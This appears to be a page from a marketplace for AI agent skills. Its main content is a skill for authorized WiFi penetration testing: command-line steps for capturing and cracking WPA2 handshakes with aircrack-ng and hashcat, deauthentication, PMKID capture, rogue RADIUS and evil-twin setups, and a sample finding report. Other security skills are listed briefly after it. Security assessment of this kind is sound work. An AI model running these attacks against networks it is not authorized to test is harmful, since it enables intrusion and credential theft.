Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Conducts authorized wireless network penetration tests to assess the security of WiFi infrastructure by testing for weak encryption protocols, captive portal bypasses, evil twin attacks, WPA2/WPA3 handshake capture, rogue access point detection, and client-side attacks. The tester evaluates wireless authentication, network segmentation, and the effectiveness of wireless intrusion detection systems. Activates for requests involving wireless pentest, WiFi security assessment, WPA2/WPA3 testing, or rogue access point detection.
インストールする前に、エージェントに与えられる指示の中身を確認できます。
Do not use against wireless networks without written authorization from the network owner, for jamming or denial-of-service attacks against wireless infrastructure unless explicitly authorized, or in environments where wireless disruption could affect life-safety systems.
Discover and map all wireless networks in the target environment:
airmon-ng start wlan0airodump-ng wlan0mon -w recon --output-format csv,pcap to discover all SSIDs, BSSIDs, channels, encryption types, and connected clientsairodump-ng wlan0mon --essid-regex ".*" -c <channel>For WPA2-PSK networks, capture the 4-way handshake and attempt offline cracking:
airodump-ng wlan0mon -c <channel> --bssid <bssid> -w captureaireplay-ng -0 5 -a <bssid> -c <client_mac> wlan0monaircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.caphashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txthashcat -m 22000 capture.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rulehcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng --filtermode=2 --filterlist_ap=<bssid>For 802.1X/EAP networks, attempt credential capture through rogue RADIUS:
hostapd-mana with a rogue RADIUS serverasleap or convert to hashcat format: hashcat -m 5500 captured_ntlm.txt wordlist.txtDeploy a rogue access point to intercept client connections:
hostapd with the same SSID and channeldnsmasq for DHCP and DNS, and a web server presenting a fake login pageAfter gaining wireless network access, assess network segmentation:
nmap -sn <wireless_subnet>| Term | Definition |
|---|---|
| Evil Twin | A rogue access point that mimics a legitimate SSID to trick clients into connecting, enabling man-in-the-middle attacks and credential capture |
| 4-Way Handshake | The WPA2 authentication exchange between client and AP that establishes encryption keys; captured handshakes can be cracked offline |
| WPA3-SAE | Simultaneous Authentication of Equals; WPA3's key exchange protocol that resists offline dictionary attacks and provides forward secrecy |
| Transition Mode | WPA3 backward compatibility mode that supports both WPA2 and WPA3 clients, potentially vulnerable to downgrade attacks |
| PMKID Attack | A clientless attack that captures the Pairwise Master Key Identifier from the AP's first EAPOL frame, allowing offline cracking without capturing a full handshake |
| 802.1X/EAP | Enterprise wireless authentication using RADIUS and Extensible Authentication Protocol, providing per-user credentials instead of a shared pre-shared key |
| Deauthentication Attack | Sending spoofed deauthentication frames to disconnect clients from an AP, forcing them to reconnect and enabling handshake capture or evil twin attacks |
Context: A financial services company has 3 SSIDs: CorpWiFi (WPA2-Enterprise for employees), GuestWiFi (captive portal), and IoT-Net (WPA2-PSK for printers and conferencing systems). The tester is authorized to test all three networks from the lobby and conference rooms.
Approach:
Pitfalls:
## Finding: Weak WPA2-PSK on IoT Network with Inadequate Segmentation
**ID**: WIFI-001
**Severity**: Critical (CVSS 9.4)
**Affected SSID**: IoT-Net (BSSID: AA:BB:CC:DD:EE:FF)
**Encryption**: WPA2-Personal (PSK)
**Description**:
The IoT wireless network uses a weak pre-shared key that was cracked in 3 minutes
using a standard dictionary attack. Once connected to IoT-Net, the tester discovered
that the wireless VLAN is not properly segmented from the internal corporate network,
providing unrestricted access to file servers, the Active Directory domain controller,
and the internal database server.
**Proof of Concept**:
1. Captured WPA2 handshake: airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w iot
2. Cracked PSK in 3 minutes: aircrack-ng -w rockyou.txt iot-01.cap -> Key: Company2024!
3. Connected to IoT-Net and scanned: nmap -sn 10.20.0.0/24
4. Accessible from IoT-Net: DC01 (10.20.0.5:445), FILESVR (10.20.0.10:445), DBSVR (10.20.0.15:3306)
**Impact**:
An attacker within wireless range (tested from the public lobby) can join the IoT
network and gain direct network access to the corporate infrastructure, bypassing
the WPA2-Enterprise authentication required for employee access.
**Remediation**:
1. Implement a complex 20+ character PSK for IoT-Net, rotated quarterly
2. Deploy VLAN segmentation to isolate IoT-Net from the corporate network
3. Implement firewall rules allowing IoT devices to reach only their required services
4. Migrate IoT devices to 802.1X authentication with device certificates where supported
5. Deploy WIDS to detect deauthentication attacks and rogue access points
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations.
日本語の概要は準備中です。原文の説明を表示しています。
Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths
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Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source recovery, and androguard for permission analysis, manifest inspection, and suspicious API call detection.
日本語の概要は準備中です。原文の説明を表示しています。
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.
日本語の概要は準備中です。原文の説明を表示しています。
Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense.
日本語の概要は準備中です。原文の説明を表示しています。